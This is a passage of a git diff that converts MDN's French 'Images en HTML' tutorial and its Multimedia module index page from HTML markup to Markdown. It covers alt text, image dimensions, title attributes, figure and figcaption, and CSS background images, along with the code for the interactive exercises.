tout le monde puisse les voir. N'écrivez pas de `alt` text redondants. Imaginez combien ce serait ennuyeux pour un lecteur si tous les paragraphes étaient écrits en double... Si l'image est décrite de manière adéquate dans le corps de texte principal, vous pouvez utiliser simplement `alt=""`. +- **Lien.** Si vous mettez une image à l'intérieur d'une ancre {{htmlelement("a")}} pour transformer une image en lien, vous devez quand même fournir un [Lien texte accessible ](/fr/Apprendre/HTML/Introduction_%C3%A0_HTML/Creating_hyperlinks#bplien). Dans de tels cas, vous pouvez, soit l'inclure dans le même élément `<a>`, soit dans l'attribut `alt` de l'image – utilisez ce qui marche le mieux dans votre cas. +- **Texte.** Vous ne devez pas mettre de texte dans les images. Si votre titre principal a besoin d'un peu d'ombrage par exemple, [utilisez CSS](/fr/docs/Web/CSS/text-shadow) pour ça, plutôt que de mettre du texte dans une image. De toutes manières, si vous ne pouvez pas éviter de faire ça, vous devez ajouter le texte dans l'attribut `alt` . -<p>Le but est de livrer essentiellement une expérience de qualité, même quand les images ne peuvent être vues. Cela assure à tous les utilisateurs de ne rien manquer du contenu. Essayez de ne pas afficher les images dans votre navigateur et regardez ce qu'il se passe. Vous allez vite réaliser que le texte fourni à la place est réellement utile.</p> +Le but est de livrer essentiellement une expérience de qualité, même quand les images ne peuvent être vues. Cela assure à tous les utilisateurs de ne rien manquer du contenu. Essayez de ne pas afficher les images dans votre navigateur et regardez ce qu'il se passe. Vous allez vite réaliser que le texte fourni à la place est réellement utile. -<div class="note"> -<p><strong>Note :</strong> Pour plus d'informations, voyez notre guide <a href="/fr/docs/Learn/Accessibility/HTML#Text_alternatives">Textes Alternatifs</a></p> -</div> +> **Note :** Pour plus d'informations, voyez notre guide [Textes Alternatifs](/fr/docs/Learn/Accessibility/HTML#Text_alternatives) -<h3 id="Largeur_et_hauteur_width-height">Largeur et hauteur (width-height)</h3> +### Largeur et hauteur (width-height) -<p>Vous pouvez vous servir des attributs <code>width</code> et <code>height</code> pour spécifier la largeur et la hauteur de votre image. Vous pouvez trouver la largeur et la hauteur de différentes manières. Sur Mac, par exemple, vous pouvez utiliser <kbd>Cmd</kbd> + <kbd>I</kbd> pour afficher l'info relative au fichier image. Pour revenir à notre exemple, nous pourrions faire ceci :</p> +Vous pouvez vous servir des attributs `width` et `height` pour spécifier la largeur et la hauteur de votre image. Vous pouvez trouver la largeur et la hauteur de différentes manières. Sur Mac, par exemple, vous pouvez utiliser <kbd>Cmd</kbd> + <kbd>I</kbd> pour afficher l'info relative au fichier image. Pour revenir à notre exemple, nous pourrions faire ceci : -<pre class="brush: html"><img src="images/dinosaur.jpg" +```html +<img src="images/dinosaur.jpg" alt="The head and torso of a dinosaur skeleton; it has a large head with long sharp teeth" width="400" - height="341"></pre> + height="341"> +``` -<p>Cela ne fait pas grande différence à l'affichage dans des circonstances normales. Mais, si l'image n'est pas affichée, disons que l'utilisateur est juste arrivé sur la page et qu'elle n'est pas encore chargée, vous remarquerez que le navigateur laisse un espace pour qu'elle y apparaisse :</p> +Cela ne fait pas grande différence à l'affichage dans des circonstances normales. Mais, si l'image n'est pas affichée, disons que l'utilisateur est juste arrivé sur la page et qu'elle n'est pas encore chargée, vous remarquerez que le navigateur laisse un espace pour qu'elle y apparaisse : -<p><img alt="The Images in HTML title, with dinosaur alt text, displayed inside a large box that results from width and height settings" src="alt-text-with-width-height.png"></p> + -<p>C'est une bonne pratique, cela donne une page se chargeant plus rapidement et en douceur.</p> +C'est une bonne pratique, cela donne une page se chargeant plus rapidement et en douceur. -<p>De toutes manières, vous ne devez pas altérer la taille de vos images avec les attributs HTML . Si vous réglez la taille de l'image trop grande, vous aurez un résultat avec beaucoup de "grain", flou ou trop petit et vous dépensez de la bande passante en téléchargeant une image qui ne convient pas aux besoins de l'utilisateur. Votre image peut aussi sortir distordue, si vous n'en maintenez pas le bon <a href="https://fr.wikipedia.org/wiki/Format_d%27image">Format d'image</a>. Vous devriez utiliser un éditeur d'images pour la mettre à la bonne taille avant de la mettre dans votre page web.</p> +De toutes manières, vous ne devez pas altérer la taille de vos images avec les attributs HTML . Si vous réglez la taille de l'image trop grande, vous aurez un résultat avec beaucoup de "grain", flou ou trop petit et vous dépensez de la bande passante en téléchargeant une image qui ne convient pas aux besoins de l'utilisateur. Votre image peut aussi sortir distordue, si vous n'en maintenez pas le bon [Format d'image](https://fr.wikipedia.org/wiki/Format_d%27image). Vous devriez utiliser un éditeur d'images pour la mettre à la bonne taille avant de la mettre dans votre page web. -<div class="note"> -<p><strong>Note :</strong> Si vous devez absolument modifier une taille d' image, vous devriez vous servir de <a href="/fr/Apprendre/CSS">CSS</a> .</p> -</div> +> **Note :** Si vous devez absolument modifier une taille d' image, vous devriez vous servir de [CSS](/fr/Apprendre/CSS) . -<h3 id="Titre_dimages">Titre d'images</h3> +### Titre d'images -<p>Comme décrit dans le chapitre <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML/Creating_hyperlinks">Création d'hyperliens </a>, vous pouvez aussi ajouter un attribut <code>title</code> aux images, pour fournir un supplément d'information si nécessaire. Dans notre exemple, nous pourrions faire ceci :</p> +Comme décrit dans le chapitre [Création d'hyperliens ](/fr/Apprendre/HTML/Introduction_%C3%A0_HTML/Creating_hyperlinks), vous pouvez aussi ajouter un attribut `title` aux images, pour fournir un supplément d'information si nécessaire. Dans notre exemple, nous pourrions faire ceci : -<pre class="brush: html"><img src="images/dinosaur.jpg" +```html +<img src="images/dinosaur.jpg" alt="The head and torso of a dinosaur skeleton; it has a large head with long sharp teeth" width="400" height="341" - title="A T-Rex on display in the Manchester University Museum"></pre> + title="A T-Rex on display in the Manchester University Museum"> +``` -<p>Cela donne une info-bulle avec le texte entré dans l'attribut <code>title</code> :</p> +Cela donne une info-bulle avec le texte entré dans l'attribut `title` : -<p><img alt="The dinosaur image, with a tooltip title on top of it that reads A T-Rex on display at the Manchester University Museum " src="image-with-title.png"></p> + -<p>Il n'est pas essentiel d'inclure des informations dans les images. Il est souvent préférable d'écrire ces informations dans le texte principal plutôt qu'attaché à l'image. Ils peuvent être très utile dans d'autres circonstances, par exemple dans une galerie d'images où vous n'avez pas de place pour les légendes.</p> +Il n'est pas essentiel d'inclure des informations dans les images. Il est souvent préférable d'écrire ces informations dans le texte principal plutôt qu'attaché à l'image. Ils peuvent être très utile dans d'autres circonstances, par exemple dans une galerie d'images où vous n'avez pas de place pour les légendes. -<h3 id="Pédagogie_active_incorporer_une_image">Pédagogie active : incorporer une image</h3> +### Pédagogie active : incorporer une image -<p>À vous de jouer maintenant ! Cette section dédiée à l'apprentissage interactif va vous tenir en haleine avec un simple exercice d'intégration d'image. Vous allez un peu travailler l'anglais aussi. Il vous est fourni une étiquette basique {{htmlelement("img")}} ; Il va vous falloir incorporer l'image située à l'URL suivante :</p> +À vous de jouer maintenant ! Cette section dédiée à l'apprentissage interactif va vous tenir en haleine avec un simple exercice d'intégration d'image. Vous allez un peu travailler l'anglais aussi. Il vous est fourni une étiquette basique {{htmlelement("img")}} ; Il va vous falloir incorporer l'image située à l'URL suivante : -<p>https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg</p> +https\://raw\.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg -<p>Nous avons dit plus tôt de ne jamais faire de "hotlinking" sur d'autres serveurs mais c'est ici dans un but d'apprentissage, donc on oublie ça pour cette fois.</p> +Nous avons dit plus tôt de ne jamais faire de "hotlinking" sur d'autres serveurs mais c'est ici dans un but d'apprentissage, donc on oublie ça pour cette fois. -<p>Nous avons encore quelques petites choses pour vous :</p> +Nous avons encore quelques petites choses pour vous : -<ul> - <li>Ajoutez du texte <code>alt</code> , et vérifiez qu'il marche en faisant une faute dans l'URL de l'image.</li> - <li>Réglez l'image à une bonne taille : <code>width</code> et <code>height</code> ( conseil : c'est 200px wide (large) and 171px high (haut)), puis expérimentez d'autres valeurs pour en appréhender les effets.</li> - <li>Mettez un <code>title</code> sur l'image.</li> -</ul> +- Ajoutez du texte `alt` , et vérifiez qu'il marche en faisant une faute dans l'URL de l'image. +- Réglez l'image à une bonne taille : `width` et `height` ( conseil : c'est 200px wide (large) and 171px high (haut)), puis expérimentez d'autres valeurs pour en appréhender les effets. +- Mettez un `title` sur l'image. -<p>Si vous faites une erreur, vous pouvez toujours remettre à zéro en utilisant le bouton <em>Reset</em> . Si vous êtes vraiment bloqué, regardez la réponse en cliquant le bouton S<em>how solution</em> :</p> +Si vous faites une erreur, vous pouvez toujours remettre à zéro en utilisant le bouton _Reset_ . Si vous êtes vraiment bloqué, regardez la réponse en cliquant le bouton S*how solution* : -<pre class="brush: html hidden"><h2>Live output</h2> +```html hidden +<h2>Live output</h2> -<div class="output" style="min-height: 50px;"> -</div> +<div class="output" style="min-height: 50px;"> +</div> -<h2>Editable code</h2> -<p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p> +<h2>Editable code</h2> +<p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p> -<textarea id="code" class="input" style="min-height: 100px; width: 95%"> -<img> -</textarea> +<textarea id="code" class="input" style="min-height: 100px; width: 95%"> +<img> +</textarea> -<div class="playable-buttons"> - <input id="reset" type="button" value="Reset"> - <input id="solution" type="button" value="Show solution"> -</div></pre> +<div class="playable-buttons"> + <input id="reset" type="button" value="Reset"> + <input id="solution" type="button" value="Show solution"> +</div> +``` -<pre class="brush: css hidden">html { +```css hidden +html { font-family: sans-serif; } @@ -213,9 +222,11 @@ h2 { body { margin: 10px; background: #f5f9fa; -}</pre> +} +``` -<pre class="brush: js hidden">var textarea = document.getElementById('code'); +```js hidden +var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var output = document.querySelector('.output'); @@ -245,7 +256,7 @@ solution.addEventListener('click', function() { updateCode(); }); -var htmlSolution = '<img src="https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg"\n alt="The head and torso of a dinosaur skeleton; it has a large head with long sharp teeth"\n width="200"\n height="171"\n title="A T-Rex on display in the Manchester University Museum">'; +var htmlSolution = '<img src="https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg"\n alt="The head and torso of a dinosaur skeleton; it has a large head with long sharp teeth"\n width="200"\n height="171"\n title="A T-Rex on display in the Manchester University Museum">'; var solutionEntry = htmlSolution; textarea.addEventListener('input', updateCode); @@ -291,86 +302,82 @@ textarea.onkeyup = function(){ } updateCode(); -};</pre> - -<p>{{ EmbedLiveSample('Pédagogie_active_incorporer_une_image', 700, 350, "", "", "hide-codepen-jsfiddle") }}</p> - +}; +``` +{{ EmbedLiveSample('Pédagogie_active_incorporer_une_image', 700, 350, "", "", "hide-codepen-jsfiddle") }} -<h2 id="Légender_des_images_avec_figure_et_figcaption">Légender des images avec <code>figure</code> et <code>figcaption</code></h2> +## Légender des images avec `figure` et `figcaption` -<p>En parlant de légendes, il y a de nombreuses manières d'en ajouter qui ira avec votre image. Par exemple, rien ne vous empêche de faire ceci :</p> +En parlant de légendes, il y a de nombreuses manières d'en ajouter qui ira avec votre image. Par exemple, rien ne vous empêche de faire ceci : -<pre class="brush: html"><div class="figure"> - <img src="images/dinosaur.jpg" +```html +<div class="figure"> + <img src="images/dinosaur.jpg" alt="The head and torso of a dinosaur skeleton; it has a large head with long sharp teeth" width="400" - height="341"> - - <p>A T-Rex on display in the Manchester University Museum.</p> -</div></pre> + height="341"> -<p>C'est bon. Ça contient ce que vous voulez et c'est aisément stylisable en CSS. Mais il y a un problème : il n'y a rien de sensé qui relie l'image à sa légende. Ce qui peut poser des problèmes à un lecteur d'écran. Par exemple, quand vous avez 50 images, quelle légende va avec quelle image ?</p> + <p>A T-Rex on display in the Manchester University Museum.</p> +</div> +``` -<p>Une meilleure solution consiste en l'utilisation des éléments HTML5 {{htmlelement("figure")}} et {{htmlelement("figcaption")}} . Ils ont été conçus pour cela : fournir un conteneur sémantique aux objets et lier clairement cet objet à sa légende. Notre exemple précédent pourrait être réécrit comme ceci :</p> +C'est bon. Ça contient ce que vous voulez et c'est aisément stylisable en CSS. Mais il y a un problème : il n'y a rien de sensé qui relie l'image à sa légende. Ce qui peut poser des problèmes à un lecteur d'écran. Par exemple, quand vous avez 50 images, quelle légende va avec quelle image ? -<pre><figure> - <img src="images/dinosaur.jpg" - alt="The head and torso of a dinosaur skeleton; - it has a large head with long sharp teeth" - width="400" - height="341"> +Une meilleure solution consiste en l'utilisation des éléments HTML5 {{htmlelement("figure")}} et {{htmlelement("figcaption")}} . Ils ont été conçus pour cela : fournir un conteneur sémantique aux objets et lier clairement cet objet à sa légende. Notre exemple précédent pourrait être réécrit comme ceci : - <figcaption>A T-Rex on display in the Manchester University Museum.</figcaption> -</figure></pre> + <figure> + <img src="images/dinosaur.jpg" + alt="The head and torso of a dinosaur skeleton; + it has a large head with long sharp teeth" + width="400" + height="341"> -<p>L'élément {{htmlelement("figcaption")}} dit au navigateur et aux technologies d'assistance que la légende décrit le contenu de l'autre élément {{htmlelement("figure")}}.</p> + <figcaption>A T-Rex on display in the Manchester University Museum.</figcaption> + </figure> -<div class="note"> -<p><strong>Note :</strong> D'un point de vue accessibilité, les légendes ont un rôle différent du texte {{htmlattrxref('alt','img')}}. Le texte {{htmlattrxref('alt','img')}} ne sert qu'en absence d'image tandis que les légendes servent en même temps aux utilisateurs qui voient l'image. Les légendes et le texte <code>alt</code> devraient cependant être différents car ils apparaissent tout deux quand l'image est absente. Essayez d'enlever les images dans votre navigateur et voyez à quoi ça ressemble.</p> -</div> - -<p>Un objet <figure> n'est pas forcé de contenir une image. C'est une unité de contenu indépendante qui :</p> +L'élément {{htmlelement("figcaption")}} dit au navigateur et aux technologies d'assistance que la légende décrit le contenu de l'autre élément {{htmlelement("figure")}}. -<ul> - <li>exprime votre désir d'accessibilité et de compréhension facilitée.</li> - <li>peut se placer en plusieurs endroits dans une page à flot linéaire.</li> - <li>Fournit une information essentielle qui supporte le texte principal.</li> -</ul> +> **Note :** D'un point de vue accessibilité, les légendes ont un rôle différent du texte {{htmlattrxref('alt','img')}}. Le texte {{htmlattrxref('alt','img')}} ne sert qu'en absence d'image tandis que les légendes servent en même temps aux utilisateurs qui voient l'image. Les légendes et le texte `alt` devraient cependant être différents car ils apparaissent tout deux quand l'image est absente. Essayez d'enlever les images dans votre navigateur et voyez à quoi ça ressemble. -<p>Cet objet peut être un ensemble d'images, des bribes de code, de l'audio, de la vidéo, des équations, un tableau ou bien d'autres choses.</p> +Un objet \<figure> n'est pas forcé de contenir une image. C'est une unité de contenu indépendante qui : -<h3 id="Pédagogie_active_créer_un_objet_figure">Pédagogie active : créer un objet figure</h3> +- exprime votre désir d'accessibilité et de compréhension facilitée. +- peut se placer en plusieurs endroits dans une page à flot linéaire. +- Fournit une information essentielle qui supporte le texte principal. -<p>Dans cette section, nous allons vous demander de récupérer le code fini de la section "Pédagogie active" précédente et d'y faire ceci :</p> +Cet objet peut être un ensemble d'images, des bribes de code, de l'audio, de la vidéo, des équations, un tableau ou bien d'autres choses. -<ul> - <li>Encapsulez-le dans un élément {{htmlelement("figure")}} .</li> - <li>Copiez le texte de l'attribut, enlevez l'attribut <code>title</code> et mettez le texte dans un élément {{htmlelement("figcaption")}} sous l'image.</li> -</ul> +### Pédagogie active : créer un objet figure -<p>Si vous faites une erreur, vous pouvez toujours remettre à zéro en utilisant le bouton <em>Reset</em> . Si vous êtes vraiment bloqué, regardez la réponse en cliquant le bouton S<em>how solution</em> :</p> +Dans cette section, nous allons vous demander de récupérer le code fini de la section "Pédagogie active" précédente et d'y faire ceci : -<pre class="brush: html hidden"><h2>Live output</h2> +- Encapsulez-le dans un élément {{htmlelement("figure")}} . +- Copiez le texte de l'attribut, enlevez l'attribut `title` et mettez le texte dans un élément {{htmlelement("figcaption")}} sous l'image. -<div class="output" style="min-height: 50px;"> -</div> +Si vous faites une erreur, vous pouvez toujours remettre à zéro en utilisant le bouton _Reset_ . Si vous êtes vraiment bloqué, regardez la réponse en cliquant le bouton S*how solution* : -<h2>Editable code</h2> -<p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p> +```html hidden +<h2>Live output</h2> -<textarea id="code" class="input" style="min-height: 100px; width: 95%"> -</textarea> +<div class="output" style="min-height: 50px;"> +</div> -<div class="playable-buttons"> - <input id="reset" type="button" value="Reset"> - <input id="solution" type="button" value="Show solution"> -</div></pre> +<h2>Editable code</h2> +<p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p> +<textarea id="code" class="input" style="min-height: 100px; width: 95%"> +</textarea> +<div class="playable-buttons"> + <input id="reset" type="button" value="Reset"> + <input id="solution" type="button" value="Show solution"> +</div> +``` -<pre class="brush: css hidden">html { +```css hidden +html { font-family: sans-serif; } @@ -388,11 +395,11 @@ h2 { body { margin: 10px; background: #f5f9fa; -}</pre> - - +} +``` -<pre class="brush: js hidden">var textarea = document.getElementById('code'); +```js hidden +var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var output = document.querySelector('.output'); @@ -422,7 +429,7 @@ solution.addEventListener('click', function() { updateCode(); }); -var htmlSolution = '<figure>\n <img src="https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg"\n alt="The head and torso of a dinosaur skeleton; it has a large head with long sharp teeth"\n width="200"\n height="171" />\n <figcaption>A T-Rex on display in the Manchester University Museum</figcaption>\n</figure>'; +var htmlSolution = '<figure>\n <img src="https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg"\n alt="The head and torso of a dinosaur skeleton; it has a large head with long sharp teeth"\n width="200"\n height="171" />\n <figcaption>A T-Rex on display in the Manchester University Museum</figcaption>\n</figure>'; var solutionEntry = htmlSolution; textarea.addEventListener('input', updateCode); @@ -468,37 +475,36 @@ textarea.onkeyup = function(){ } updateCode(); -};</pre> +}; +``` -<p>{{ EmbedLiveSample('Pédagogie_active_créer_un_objet_figure', 700, 350, "", "", "hide-codepen-jsfiddle") }}</p> +{{ EmbedLiveSample('Pédagogie_active_créer_un_objet_figure', 700, 350, "", "", "hide-codepen-jsfiddle") }} -<h2 id="Images_darrière-plan_CSS">Images d'arrière-plan CSS</h2> +## Images d'arrière-plan CSS -<p>Vous pouvez également utiliser du CSS pour intégrer des images dans vos pages web (ou JavaScript, mais c'est une autre histoire). Les propriétés CSS {{cssxref("background-image")}} et <code>background</code> , sont utilisées pour contrôler le placement de l'image d'arrière-plan. Par exemple, pour placer une image d'arrière-plan sur chaque paragraphe de la page, vous pourriez faire ceci :</p> +Vous pouvez également utiliser du CSS pour intégrer des images dans vos pages web (ou JavaScript, mais c'est une autre histoire). Les propriétés CSS {{cssxref("background-image")}} et `background` , sont utilisées pour contrôler le placement de l'image d'arrière-plan. Par exemple, pour placer une image d'arrière-plan sur chaque paragraphe de la page, vous pourriez faire ceci : -<pre class="brush: css">p { +```css +p { background-image: url("images/dinosaur.jpg"); -}</pre> +} +``` -<p>Le résultat est probablement plus facile à positionner et contrôler qu'une image HTML. Donc, pourquoi s'ennuyer avec des images HTML ?... Comme il y est fait allusion au-dessus, les images CSS sont là seulement pour la décoration. Si vous voulez ajouter quelque chose d'agréable à votre page pour en enrichir le visuel, c'est étudié pour. Mais, ces images n'ont pas d'indication sémantique. Elles ne peuvent pas avoir d'équivalent texte, sont invisibles aux lecteurs d'écran, etc... C'est le moment, pour l'image HTML, de se mettre en valeur !</p> +Le résultat est probablement plus facile à positionner et contrôler qu'une image HTML. Donc, pourquoi s'ennuyer avec des images HTML ?... Comme il y est fait allusion au-dessus, les images CSS sont là seulement pour la décoration. Si vous voulez ajouter quelque chose d'agréable à votre page pour en enrichir le visuel, c'est étudié pour. Mais, ces images n'ont pas d'indication sémantique. Elles ne peuvent pas avoir d'équivalent texte, sont invisibles aux lecteurs d'écran, etc... C'est le moment, pour l'image HTML, de se mettre en valeur ! -<p>En résumé : si une image a du sens, en terme de contenu, vous devriez utiliser une image HTML. Si une image n'est que pure décoration, il vaut mieux utiliser les images d'arrière-plan CSS.</p> +En résumé : si une image a du sens, en terme de contenu, vous devriez utiliser une image HTML. Si une image n'est que pure décoration, il vaut mieux utiliser les images d'arrière-plan CSS. -<div class="note"> -<p><strong>Note :</strong> Vous en apprendrez beaucoup plus sur les <a href="/fr/docs/Learn/CSS/Styling_boxes/Backgrounds">CSS background images</a> dans notre topic <a href="/fr/Apprendre/CSS">CSS</a> .</p> -</div> +> **Note :** Vous en apprendrez beaucoup plus sur les [CSS background images](/fr/docs/Learn/CSS/Styling_boxes/Backgrounds) dans notre topic [CSS](/fr/Apprendre/CSS) . -<p>C'est tout pour l'instant. Nous avons découvert en détails les images et légendes. Dans le prochain article, nous monterons en régime pour aborder la manière d'utiliser HTML pour intégrer des vidéos et de l'audio dans une page web.</p> +C'est tout pour l'instant. Nous avons découvert en détails les images et légendes. Dans le prochain article, nous monterons en régime pour aborder la manière d'utiliser HTML pour intégrer des vidéos et de l'audio dans une page web. -<p>{{NextMenu("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding")}}</p> +{{NextMenu("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding")}} -<h2 id="Dans_ce_module">Dans ce module :</h2> +## Dans ce module : -<ul> - <li><a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Images in HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Video and audio content</a></li> - <li><a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">From <object> to <iframe> — other embedding technologies</a></li> - <li><a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">Adding vector graphics to the Web</a></li> - <li><a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Responsive images</a></li> - <li><a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Mozilla splash page</a></li> -</ul> +- [Images in HTML](/fr/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML) +- [Video and audio content](/fr/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content) +- [From \<object> to \<iframe> — other embedding technologies](/fr/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies) +- [Adding vector graphics to the Web](/fr/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web) +- [Responsive images](/fr/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images) +- [Mozilla splash page](/fr/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page) diff --git a/files/fr/learn/html/multimedia_and_embedding/index.md b/files/fr/learn/html/multimedia_and_embedding/index.md index 445c2724fe..f48a40fb08 100644 --- a/files/fr/learn/html/multimedia_and_embedding/index.md +++ b/files/fr/learn/html/multimedia_and_embedding/index.md @@ -20,53 +20,41 @@ tags: translation_of: Learn/HTML/Multimedia_and_embedding original_slug: Apprendre/HTML/Multimedia_and_embedding --- -<p>{{LearnSidebar}}</p> +{{LearnSidebar}} -<p>Jusqu'ici, nous avons vu et utilisé beaucoup de texte dans ce cours mais le web serait vraiment ennuyeux s'il n'utilisait que du texte. Voyons ensemble la manière de le rendre plus vivant avec plus de contenu intéressant ! Ce module explore l'utilisation d'HTML pour inclure du contenu multimedia dans vos pages web. Cela comprend les différentes manières d'ajouter des images, d'intégrer de la video, de l'audio et même des pages web entières. </p> +Jusqu'ici, nous avons vu et utilisé beaucoup de texte dans ce cours mais le web serait vraiment ennuyeux s'il n'utilisait que du texte. Voyons ensemble la manière de le rendre plus vivant avec plus de contenu intéressant ! Ce module explore l'utilisation d'HTML pour inclure du contenu multimedia dans vos pages web. Cela comprend les différentes manières d'ajouter des images, d'intégrer de la video, de l'audio et même des pages web entières. -<h2 id="Prérequis">Prérequis</h2> +## Prérequis -<p>Pour commencer ce module dans de bonnes conditions, vous devriez posséder les connaissances de base du HTML comme il est recommandé dans l'article : <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML">introduction au HTML</a>. Nous vous recommandons de passer du temps sur cette introduction en premier lieu (ou un article équivalent d'initiation au HTML) puis de repasser ici pour continuer.</p> +Pour commencer ce module dans de bonnes conditions, vous devriez posséder les connaissances de base du HTML comme il est recommandé dans l'article : [introduction au HTML](/fr/Apprendre/HTML/Introduction_%C3%A0_HTML). Nous vous recommandons de passer du temps sur cette introduction en premier lieu (ou un article équivalent d'initiation au HTML) puis de repasser ici pour continuer. -<div class="note"> -<p><strong>Note :</strong> Si vous travaillez sur une tablette, ordinateur ou autre périphérique où vous n'auriez pas la capacité de créer vos propres fichiers, sachez que vous pouvez tester (la plupart) de vos lignes de code sur des programmes en ligne comme <a href="https://jsbin.com/">JSBin</a> ou <a href="https://thimble.mozilla.org/">Thimble</a>.</p> -</div> +> **Note :** Si vous travaillez sur une tablette, ordinateur ou autre périphérique où vous n'auriez pas la capacité de créer vos propres fichiers, sachez que vous pouvez tester (la plupart) de vos lignes de code sur des programmes en ligne comme [JSBin](https://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/). -<h2 id="Guides">Guides</h2> +## Guides -<p>Ce module contient les articles suivants, qui vous guideront à travers les fondamentaux de l'intégration multimedia sur une page web.</p> +Ce module contient les articles suivants, qui vous guideront à travers les fondamentaux de l'intégration multimedia sur une page web. -<dl> - <dt><strong><a href="/fr/docs/Apprendre/HTML/Multimedia_and_embedding/Images_in_HTML">Images en HTML</a></strong></dt> - <dd>Il existe d'autres types de multimedia à prendre en compte mais il est logique de commencer par cet élément si humble qu'est l'élément {{htmlelement("img")}}. Il est utilisé pour integrér une simple image dans une page web. Au long de cet article, nous verrons son utilisation en détails, des rudiments à l'annotation par légendes en utilisant {{HTMLElement("figure")}}, et de quelle manière il est liè aux images d'arrière-plan de CSS.</dd> - <dt><strong><a href="/fr/docs/Apprendre/HTML/Multimedia_and_embedding/Contenu_audio_et_video">Vidéo et contenu audio</a></strong></dt> - <dd>Ensuite, nous étudierons la façon d'utiliser les éléments HTML5 {{HTMLElement("video")}} et {{HTMLElement("audio")}}, pour intégrer les videos et pistes audio dans nos pages. Toujours à partir des rudiments, puis comment fournir un accés aux différents formats des différents navigateurs, enrichir avec des légendes et des sous-titres, et comment proposer des solutions pour les navigateurs plus anciens.</dd> - <dt><a href="/fr/docs/Apprendre/HTML/Multimedia_and_embedding/Other_embedding_technologies">De <object> à <iframe> — autres techniques d'intégration</a></dt> - <dd>À ce stade, nous aimerions faire un pas de côté, en examinant quelques éléments qui vous permettent d'intégrer une grande variété de types de contenu dans vos pages web : les éléments {{HTMLElement("iframe")}}, {{HTMLElement("embed")}} et {{HTMLElement("object")}}. <code><iframe></code> est fait pour intégrer d'autres pages web, les deux autres vous autorisent à faire de même pour les PDFs, SVG, et même Flash — une technologie en voie de disparition, mais que vous pouvez encore voir de façon semi-régulière.</dd> - <dt><a href="/fr/docs/Apprendre/HTML/Comment/Ajouter_des_images_vectorielles_à_une_page_web">Ajouter des images vectorielles sur le Web </a></dt> - <dd>Les images vectorielles peuvent être très utiles dans certaines situations. Contrairement aux formats classiques comme le PNG/JPG, elles ne se déforment pas lorsqu'on les agrandit et peuvent rester lisses lorsqu'on les met à l'échelle. Cet article vous présente ce que sont les images vectorielles et comment inclure le populaire format {{glossary("SVG")}} dans les pages web.</dd> - <dt><a href="/fr/docs/Apprendre/HTML/Comment/Ajouter_des_images_adaptatives_à_une_page_web">Images adaptatives</a></dt> - <dd> - <p>Dans cet article, nous allons découvrir le concept d'images adaptatives — des images qui fonctionnent bien sur des appareils dont les tailles d'écran, les résolutions et autres caractéristiques sont très différentes — et examiner les outils fournis par HTML pour aider à les mettre en œuvre. Cela permet d'améliorer les performances des différents appareils. Les images adaptatives ne sont qu'une partie du <a href="/fr/docs/Apprendre/CSS/CSS_layout/Responsive_Design">responsive design</a>, un futur sujet CSS que vous pourrez apprendre.</p> - </dd> -</dl> +- **[Images en HTML](/fr/docs/Apprendre/HTML/Multimedia_and_embedding/Images_in_HTML)** + - : Il existe d'autres types de multimedia à prendre en compte mais il est logique de commencer par cet élément si humble qu'est l'élément {{htmlelement("img")}}. Il est utilisé pour integrér une simple image dans une page web. Au long de cet article, nous verrons son utilisation en détails, des rudiments à l'annotation par légendes en utilisant {{HTMLElement("figure")}}, et de quelle manière il est liè aux images d'arrière-plan de CSS. +- **[Vidéo et contenu audio](/fr/docs/Apprendre/HTML/Multimedia_and_embedding/Contenu_audio_et_video)** + - : Ensuite, nous étudierons la façon d'utiliser les éléments HTML5 {{HTMLElement("video")}} et {{HTMLElement("audio")}}, pour intégrer les videos et pistes audio dans nos pages. Toujours à partir des rudiments, puis comment fournir un accés aux différents formats des différents navigateurs, enrichir avec des légendes et des sous-titres, et comment proposer des solutions pour les navigateurs plus anciens. +- [De \<object> à \<iframe> — autres techniques d'intégration](/fr/docs/Apprendre/HTML/Multimedia_and_embedding/Other_embedding_technologies) + - : À ce stade, nous aimerions faire un pas de côté, en examinant quelques éléments qui vous permettent d'intégrer une grande variété de types de contenu dans vos pages web : les éléments {{HTMLElement("iframe")}}, {{HTMLElement("embed")}} et {{HTMLElement("object")}}. `<iframe>` est fait pour intégrer d'autres pages web, les deux autres vous autorisent à faire de même pour les PDFs, SVG, et même Flash — une technologie en voie de disparition, mais que vous pouvez encore voir de façon semi-régulière. +- [Ajouter des images vectorielles sur le Web ](/fr/docs/Apprendre/HTML/Comment/Ajouter_des_images_vectorielles_à_une_page_web) + - : Les 